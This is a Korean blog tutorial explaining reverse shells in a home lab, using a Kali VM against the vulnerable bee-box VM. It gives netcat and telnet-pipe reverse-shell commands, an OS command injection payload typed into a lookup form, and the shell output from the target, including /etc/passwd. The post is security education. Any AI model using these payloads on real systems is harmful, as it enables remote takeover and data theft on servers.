겉바속촉

[보안] Reverse Shell 동작 원리 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] Reverse Shell 동작 원리

겉바속촉 2021. 2. 13. 03:25
728x90
반응형

 

이번에는 Reverse Shell 동작 원리에 대해서 살펴보도록 하겠습니다.

지난 번 포스팅에서 운영체제 명령어 삽입을 배우면서 대략적으로 살펴봤는데요:)

먼저 보고 오는 게 더 좋겠쥬?~

 

2021/02/13 - [IT 일기 (상반기)/네트워크 및 시스템 보안] - [보안] OS Command Injection Reverse shell

 

[보안] OS Command Injection Reverse shell

OS Command Injection Reverse shell 우선 그림으로 예시를 살펴보도록 할게요:) 공격자가 하고 싶은 것은 다음과 같이 텔넷같은 것을 이용하여 서버에 붙어서 명령어를 실행시키는 것입니다. 하지만 그

2-juhyun-2.tistory.com

 


 

 

우선 공격자가 reverse shell 동작이 가능하도록 하기 위해선 

내부에서 외부로 접속할 때 쓰일 특정 포트를 열어두어야 합니다:)

 

다음과 같이요!!!

 

 

 


 

#1 @Attacker 가상머신에 리스팅 모드로 nc를 실행

 

┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...

 

-l : listening 즉, 특정포트로 리퀘스트가 들어올때까지 기다리겠다는 것

-p : 포트

-v : 설명 보여주라는 것

 

 

 

 

#2 @Bee-Box 가상머신에서 @Attacker 가상머신으로 접속

 

  • nc attacker 8282  까지 명령하면 연결만 되는 것
  • nc attacker 8282 -e /bin/bash 까지 명령하면 연결 이후에 실행될 명령어까지 진행. 즉, 쉘을 구동하라는 것
bee@bee-box:~$ nc attacker 8282 -e /bin/bash


//아무런 내용도 출력안되는 것이 맞습니다.

 

 

 

 

#3 @Attacker 가상머신에서 쉘 명령어를 전달

 

┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 48674

//연결이 들어왔다고 떠있습니다.

 

이 상태에서 ls 명령 주기

┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 48674
ls
Desktop
Documents
Examples
Music
Pictures
Public
Templates
Videos

 

bee-box의 ls가 나오는 것입니다.

궁금하면 ip a까지 해보도록 할게요

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:3e:ba:70 brd ff:ff:ff:ff:ff:ff
    inet 192.168.137.138/24 brd 192.168.137.255 scope global eth0
    inet6 fe80::20c:29ff:fe3e:ba70/64 scope link 
       valid_lft forever preferred_lft forever

 

주소를 보니까 138번이 나오는 데 bee-box의 ip 주소입니다:)

 

 

 

 

 

 

현재까지 이루어진 과정을 그림으로 또 살펴볼게요.

 

 

 

 

 

1. attacker 가상머신에서 8282번 포트를 통해 서비스를 띄어두었습니다.

 

 

 

2. 나가는 것은 차단되지 않기때문에 연결된 후에 bash 쉘을 구동해줍니다.

 

 

 

3. 실행된 결과는 attacker에서 출력이 됩니다.

 

 

 

 


 

 

운영체제 명령어 취약점을 이용해서 리버스 쉘을 구동

 

 

 

#1 nc 서버를 구동

 

┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282                                                                                                                       1 ⨯
listening on [any] 8282 ...

 

 

 

 

 

#2 운영체제 명령어 취약점으로 가지고 있는 페이지에 nc 서버로 접속하는 명령어를 전달

 

 

input창에 다음 명령어를 넣어주시는 겁니다.

www.nsa.gov; nc attacker 8282 -e /bin/bash

 

그리고 lookup을 클릭하신 후에 터미널 창 확인!!!

다음과 같이 연결되었다고 떠있을 겁니다.

┌──(kali㉿kali)-[~]
└─$ nc -lvp 8282                                                                                                                       1 ⨯
listening on [any] 8282 ...
connect to [192.168.137.134] from bee-box [192.168.137.138] 54677

 

 

여러가지 명령들 내려봤습니다.

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:3e:ba:70 brd ff:ff:ff:ff:ff:ff
    inet 192.168.137.138/24 brd 192.168.137.255 scope global eth0
    inet6 fe80::20c:29ff:fe3e:ba70/64 scope link 
       valid_lft forever preferred_lft forever

whoami
www-data

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
hplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:106:114:Gnome Display Manager:/var/lib/gdm:/bin/false
pulse:x:107:116:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:119::/var/run/dbus:/bin/false
avahi:x:109:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:110:122:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:111:123:Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee:x:1000:1000:bee,,,:/home/bee:/bin/bash
mysql:x:112:124:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:113:65534::/var/run/sshd:/usr/sbin/nologin
dovecot:x:114:126:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta:x:115:127:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:116:128:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo:x:1001:1001::/home/neo:/bin/sh
alice:x:1002:1002::/home/alice:/bin/sh
thor:x:1003:1003::/home/thor:/bin/sh
wolverine:x:1004:1004::/home/wolverine:/bin/sh
johnny:x:1005:1005::/home/johnny:/bin/sh
selene:x:1006:1006::/home/selene:/bin/sh
postfix:x:117:129::/var/spool/postfix:/bin/false
proftpd:x:118:65534::/var/run/proftpd:/bin/false
ftp:x:119:65534::/home/ftp:/bin/false
snmp:x:120:65534::/var/lib/snmp:/bin/false
ntp:x:121:131::/home/ntp:/bin/false

 

운영체제 명령어 삽입 취약점을 통해서 구동하고 있는 것입니다.

외부에 노출되어 있는 쉘 구동하는 페이지를 활용한 것이죠!!

 

 

 


 

그렇다면 nc 가 없고 telnet 만 가능하다면?

 

 

 

 

@Attacker 가상머신에 nc 서버를 2개 실행

 

 

터미널을 2개 열어서 가동 중입니다.

 

  • 5555는 명령어 전달 용도, 즉 송신용도 (공격자의 명령을 전달)
  • 6666은 수신용도 (명령 수행 후 결과 전달)

 

 

 

 

@Bee-Box 가상머신에서 nc 서버로 접속

 

 

nc가 없다고 가정했기 때문에 telnet attacker 5555 명령을 통해 연결해줍니다. 

 

bee@bee-box:~$ telnet attacker 5555
Trying 192.168.137.134...
Connected to attacker.
Escape character is '^]'.

 

 

하지만 이상태에서 ls 명령을 내려봤자 명령어로 인식하지 못하고 그냥 문자열로밖에 인식하지 못합니다.

말 그대로 연결만 된 상태기 때문이죠

 

쉘로서 동작하려면 쉘이 구동되어야 합니다.

연결된 통로로 전달된 값이 쉘 명령어로 동작해야되는 것이죠.

 

 

이 때 사용하는 것이 바로 파이프

 

ls | grep D

 

그렇다면 다음과 같이 명령을 내려야겠네요.

 

telnet attacker 5555 | /bin/bash

 

 

하지만 attacker에서 출력이 되었으면 합니다. 그래서 파이프를 하나 더 해줄게요

 

telnet attacker 5555 | /bin/bash | telnet attacker 6666

 

 

 

 

**접속이 자꾸 끊기는 경우 해결방안**

www.nsa.gov | sleep 1000 ; telnet attacker 5555 | /bin/bash | telnet attacker 6666

 

 

 

 

728x90
반응형